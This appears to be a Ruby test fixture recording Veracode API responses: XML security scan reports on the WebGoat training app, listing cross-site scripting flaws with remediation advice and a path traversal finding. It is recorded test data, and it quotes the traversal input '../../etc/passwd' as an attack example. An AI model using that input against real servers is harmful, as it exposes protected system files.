+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"98\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"76\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"127\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"77\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"44\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"100\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"50\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"264\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"79\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"46\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"68\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:17:40 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200074'
+      Date:
+      - Tue, 27 Oct 2015 12:17:44 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:17:44 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
+        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
+        15:03:50 UTC\" dynamic_scan_type=\"ds\" scan_exit_status_id=\"0\" scan_exit_status_desc=\"N/A\">\n<modules>\n<module
+        name=\"dynamic_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"10\"
+        numflawssev4=\"1\" numflawssev5=\"1\" target_url=\"http://10.10.31.202:8080/webgoat\"
+        domain=\"\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis rating=\"D\"
+        score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
+        14:59:14 UTC\" next_scan_due=\"2013-03-01 14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module
+        name=\"manual_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"81\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\"
+        numflawssev4=\"0\" numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity
+        level=\"5\">\n<category categoryid=\"1\" categoryname=\"Directory Traversal\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"Allowing user input to control
+        paths used in filesystem operations may enable an attacker to access or modify
+        otherwise protected system resources that would normally be inaccessible to
+        end users.  In some cases, the user-provided input may be passed directly
+        to the filesystem operation, or it may be concatenated to one or more fixed
+        strings to construct a fully-qualified path.\"/>\n<para text=\"When an application
+        improperly cleanses special character sequences in user-supplied filenames,
+        a path traversal (or directory traversal) vulnerability may occur.  For example,
+        an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
+        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"false\"
+        owasp=\"932\" sans=\"865\" certc=\"743\" certcpp=\"877\">\n<description>\n<text
+        text=\"The software, when constructing file or directory names from input,
+        does not properly sanitize special character sequences that resolve to a file
+        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
+        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
+        type=\"\" description=\"The software, when constructing file or directory
+        names from input, does not properly sanitize special character sequences that
+        resolve to a file or directory name that is outside of the intended directory
+        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
+        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
+        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
+        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
+        attacker can use this to retrieve the contents of arbitrary files on the server.
+        This leads to a full compromise of the application running within the context
+        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
+        state information that allows a compromise of the security boundaries of the
+        application.</severity_desc>\n<remediation_desc>When the set of acceptable
+        objects, such as filenames or URLs, is limited or known, create a mapping
+        from a set of fixed input values (such as numeric IDs) to the actual filenames
+        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>iVBORw0KGgoAAAANSUhEUgAAAk4AAAGwCAYAAABfKeoBAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAFnqSURBVHhe7Z0Bkuw2jkT/OX3XOdus2x6t+WkCmaBIlaR6G+HYcQsEgQeIyGJ1z/z6L/8HAQhAAAIQgAAEIGAR+GVZYQQBCEAAAhCAAAQg8F+EE00AAQhAAAIQgAAETAIIJxMUZhCAAAQgAAEIQADhRA9AAAIQgAAEIAABkwDCyQSFGQQgAAEIQAACEEA40QMQgAAEIAABCEDAJIBwMkFhBgEIQAACEIAABBBO9AAEIAABCEAAAhAwCSCcTFCYQQACEIAABCAAAYQTPQABCEAAAhCAAARMAggnExRmEIAABCAAAQhAAOFED0AAAhCAAAQgAAGTAMLJBIUZBCAAAQhAAAIQQDjRAxCAAAQgAAEIQMAkgHAyQWEGAQhAAAIQgAAEEE70AAQgAAEIQAACEDAJIJxMUJhBAAIQgAAEIAABhBM9AAEIQAACEIAABEwCCCcTFGYQgAAEIAABCEAA4UQPQAACEIAABCAAAZMAwskEhRkEIAABCEAAAhBAONEDEIAABCAAAQhAwCSAcDJBYQYBCEAAAhCAAAQQTvQABCAAAQhAAAIQMAkgnExQmEEAAhCAAAQgAAGEEz0AAQhAAAIQgAAETAIIJxMUZhCAAAQgAAEIQGC5cPrjjz/+yz8woAfoAXqAHqAH6IFdPfCf//znYwpuuXD6SYZ/YEAP0AP0AD1AD9ADO3vgU8ppuXD6VCLsCwEIQAACEIAABHYTQDjtJox/CEAAAhCAAAReQwDh9JpSkggEIAABCEAAArsJIJx2E8Y/BCAAAQhAAAKvIYBwek0pSQQCEIAABCAAgd0EEE67CeMfAhCAAAQgAIHXEEA4vaaUJAIBCEAAAhCAwG4CHxFOv36t23alrxb2j9/Dd7vHqv1W+ekbZJfflY34hBhX5osvCEAAAhB4D4F1CqZhMhqMTxqWWayr8nD8ODYIp/e8jGQCAQhAAAL3J4BwGtRot3ByBZFrd6RQtf9Uez4lzk/xYV8IQAACELgvgY8Ip35wHl+LjX4+EgXRV2etn+jWK9qr3ae3yb6qy/xFAsHJP8rF3a/CYnRrdawffX2Z8Y9EnIrnvq8IkUEAAhCAAAT+IbBFOP24V2IjG7BVsVT11cc3Eg69YFAxjXw6X1m6YlH5z/xU8nXFnuLh1p+XEQIQgAAEIPAkArcQTtntSjv0j2Hs3HhUxNsZ4VS9Sclum/pbHiWGInGnRNbxfHR7Nbppau0jVn1tEE5POgaIFQIQgAAEXAK3EE5RsNEwvpNwckFHtz7RDY8jfka3PtHPqkLGFVDVGqnbrwpPbCEAAQhAAAJXE9gmnJxbCkccqFsXVxAoP+7tjbufk5uyUTGPbuBWCadM4LhxObFc3fDsBwEIQAACEDhD4OPCqRVYV/xO0OjrqR5g9feOstuZ7FaofVa54Wlts99JynLNvh4dxaJ8ZcKzr3F2y3ammVkLAQhAAAIQ2E1gq3DaHfwZ/1cP7137ZcLpDB/WQgACEIAABCDwbwJfJZyc26a3NMkuofYWPuQBAQhAAAIQmCHwVcJpBhBrIAABCEAAAhCAwEEA4UQvQAACEIAABCAAAZMAwskEhRkEIAABCEAAAhBAONEDEIAABCAAAQhAwCSAcDJBYQYBCEAAAhCAAASWC6c//vjjv/wDA3qAHqAH6AF6gB7Y1QP/+c9/Pqbglgunn2T4Bwb0AD1AD9AD9AA9sLMHPqWclgunTyXCvhCAAAQgAAEIQGA3AYTTbs